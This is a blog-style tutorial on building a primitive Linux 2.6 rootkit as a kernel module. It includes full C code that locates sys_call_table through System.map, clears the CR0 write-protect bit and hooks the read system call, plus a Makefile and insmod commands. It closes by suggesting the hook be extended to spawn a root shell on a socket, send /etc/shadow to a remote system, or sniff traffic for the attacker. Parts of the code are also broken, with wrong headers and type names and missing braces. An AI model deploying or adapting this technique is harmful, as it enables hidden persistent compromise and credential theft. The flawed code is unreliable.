In this post, I’ll explain in detail, how to code an “almost” root-kit. This post is very technical (not for the professional programmers/kernel hackers) and I’d suggest that, before reading this, get your hands wet with Linux loadable kernel module programming and I’ll assume that you know quite a bit about the x86 processors. The things used here cannot be found in regular engineering textbooks (I guess so, I never read my Barry B. Brey for the Intel 80×86 architecture). Also, a good programming background in C is assumed.
So lets start with, what is a root-kit. My most trusted friend (after Google, its Wiki) says: “A rootkit is software that enables continued privileged access to a computer while actively hiding its presence from administrators by subverting standard operating system functionality or other applications. The term rootkit is a concatenation of “root” (the traditional name of the privileged account on Unix operating systems) and the word “kit” (which refers to the software components that implement the tool). The term “rootkit” has negative connotations through its association with malware.”
How does it do all of the things said above? Continued access, hiding presence, subverting blah blah blah. To answer these, we’ll focus upon the Linux 2.6 kernel series. The method described here is related to the Linux 2.4 kernel series (professional kernel hackers would know the sys_call_table modification method).
Subverting the kernel
Computer Science students (not being biased, but they usually do) would know that an OS is broadly divided into two parts, the shell and the kernel. The shell interacts with the kernel via the “system call” interface. The method described here, subverts the kernel using this interface. It modifies a pre-selected system call (in this case) and does something more than just writing (or reading) data into some file.
The Linux kernel maintains a file where it “maps” all the kernel symbols (umm search Google for “kernel symbols”, I cannot really explain it). In other words, it “stores the address” of all the functions and variables used by the kernel (shared variables). We’ll use this file and subvert the kernel.
In the above file, there is a symbol named “sys_call_table” which is, as the name suggests, the system call table. This table holds the address of all the system calls that are used in the system call interface that the shell uses to communicate with the kernel. So, abstractly speaking, we’ll modify this system call table to hack a system call and make it work on our terms.
Hacking the system call table
The 2.4 way
In the 2.4 series of the Linux kernel, the system all table was easily accessible. Hackers would simply do:
- extern void *sys_call_table;
- sys_call_table[__NR_syscall] = (pointer to our function);
That particular system call’s address could be changed to point to our function. But as the kernel developed, this method was outdated.
The 2.6 way
The above difficulty is removed by using a simple “tweak” in the above method. In kernel 2.6 the system call table is not directly exportable by declaring it as extern. So, the workaround was to find where the system call table actually resides in memory and then modify it. Here kicks in the file that kernel uses to “map”.
On your Linux boxes, if you do:
- $ cat /boot/System.map-2.6.38-8-generic
you’ll get a whole list of kernel symbols along with their virtual addresses. To find the virtual address of the system call table, we do:
- $ cat /boot/System.map-2.6.38-8-generic | grep “sys_call_table”
this gives us the virtual address of the system call table. So, the first step towards a way out of the marshes is, we got the system call table we’ll modify.
Before the next step, please clear out that the address we have above is the virtual address of the page where system call table resides. What we need is the physical page of the memory accessed by the kernel. To do this, we need to use the virt_to_page() function that converts a virtual address to the physical page (don’t worry, the code in the end will show what I mean).
When you run the above “cat” command (with the “grep”), you’ll see that succeeding the address there is a R written. This signifies that the sys_call_table is read-only. The next step is to bypass this protection.
Again, we go back to our System.map file and fire the commands and note down the address of these two functions:
- $ cat /boot/System.map-2.6.38-8-generic | grep “pages_rw”
- $ cat /boot/System.map-2.6.38-8-generic | grep “pages_ro”
the pages_rw() function sets the write mode on the page passed as an argument😀.
Now, we are all set to bypass the kernel. We have the system call table, we have the function to bypass the read-only mode and we already know what system call we have to hack (my “root-kit” hacks the read system call).
Lets dive in to see what actually we have to do to make a primitive root-kit. The addresses used here are from my own System.map file, yours will be different. This is a full example
- #include <linux/init.h>
- #include <linux/module.h>
- #include <linux/kernel.h>
- #include <linux/types.h>
- #include <linux/error.h>
- #include <linux/unistd.h>
- #include <asm/cacheflush.h>
- #include <asm/page.h>
- #include <asm/current.h>
- #include <linux/sched.h>
- #include <linux/kallsyms.h>
- unsigned long *sys_call_table = (unsigned long *) 0xc1513160;
- void (*pages_rw) (struct pages *page, int numpages) = (void *) 0xc1030710;
- void (*pages_ro) (struct pages *page, int numpages) = (void *) 0xc10306f0;
- asmlinkage int (*old_read)(unsigned int, const char __user *, size_t); //the original system to be hacked
- int new_read(unsigned int fd, const char __user *buff, size_t buffsiz)
- printk(KERN_ALERT “READ HIJACKED!!!\n”);
- return NULL;
- static int hijack_init(void)
- struct page *sys_call_page;
- sys_call_page = virt_to_page(&sys_call_table);
- pages_rw(sys_call_page, 1);
- old_read = sys_call_table[__NR_read];
- sys_call_table[__NR_read] = new_read;
- return 0;
- void hijack_stop(void)
- struct page *sys_call_page;
- sys_call_page = virt_to_page(&sys_call_table);
- sys_call_table[__NR_read] = old_read;
- pages_ro(sys_call_page, 1);
If you’ve programmed a Linux device driver, you’d know how to insert a module like the one above. We’ll have to make a `Makefile’ to compile the above module into an object file which is then dynamically linked to the kernel. Here is the `Makefile’:
- obj-m += rkit.o
- make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
- make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
this is how we are going to install our kernel module:
- root@code-ninja-playbase:/home/code-ninja# make
- root@code-ninja-playbase:/home/code-ninja# insmod rkit.ko /* the name of the C file is rkit.c */
Cool!! But wait, something happens right?! On my Ubuntu 11.04, it gets killed. What happened? Why is it killed and why doesn’t our module gets loaded? The answer lies in the x86 processor we use.
The x86 processor has a CR0 control register. You can read about this control register on wiki, we mainly focus on the WP bit of this register. It enables/disables the write protected mode. When we try to install our module, our module basically tries to write into a memory area that is write protected. When we try to write something into this memory area, we are doomed!!
Bypassing the write protection
Again, the kernel is going to help us. Kernel provides us with two macros namely write_cr0() and read_cr0(). They behave as their name suggests. We’ll use them to enable and disable the WP bit.
To disable the WP bit, we first read the current state of the CR0 register. Then, we do a NOT operation on 0x10000 to yield 0x01111. This is then AND’ed with the value of the CR0 register just read. This is done just before we convert the virtual address to physical address (I wont show that code here, too much spoon-feeding is bad ;)). The code to read and disable the WP bit looks like this: Note that this piece of code should be there in initialization as well as the ending functions (the hijack_init() and hijack_stop() functions)
- write_cr0(read_cr0() & ( ~ 0x10000));
- //other things go here
- //modified the syscall table, enable the WP bit
- write_cr0(read_cr0() | (0x10000));
Now, again we use the make command to compile our module and then insmod to insert our module. To actually see if it is working or not, try reading a file. If it does not open, try reading your log files using the dmesg command, there has to be an entry saying “READ HIJACKED”. My system (almost) crashed when I tested this, couldn’t see the log files because had to reboot… hopefully one of you test it and post their results in the comments.
Now what? What about the continued access and other things? Well the answer is quite obvious now. You have hacked a system call and now you can make it work your way. In the example above, it just prints “READ HIJACKED” into the log file and returns. You can do more, maybe exec() a root shell and open a socket to allow incoming connections on that root shell. Or even better, read the /etc/shadow file and send it over a secure connection to a pre-destined system, or start a network sniffer and sniff out juicy data and send it to the attacker (yourself). All this while producing, innocently, the output that read() should actually produce.
So, here we are, standing on the edge of a dark abyss of root-kits and other dark stuffs. Keep researching, this is not the end, someday, even this method would become outdated but our knowledge will not become obscure.
Any doubts (and criticism and abuse) can be directly sent to me on firstname.lastname@example.org. Well the comments box is always open but then, the only mails I get are from shopping sites and other tech blogs. It will be good to talk to a human mailer for a change😀.
May the force be with you.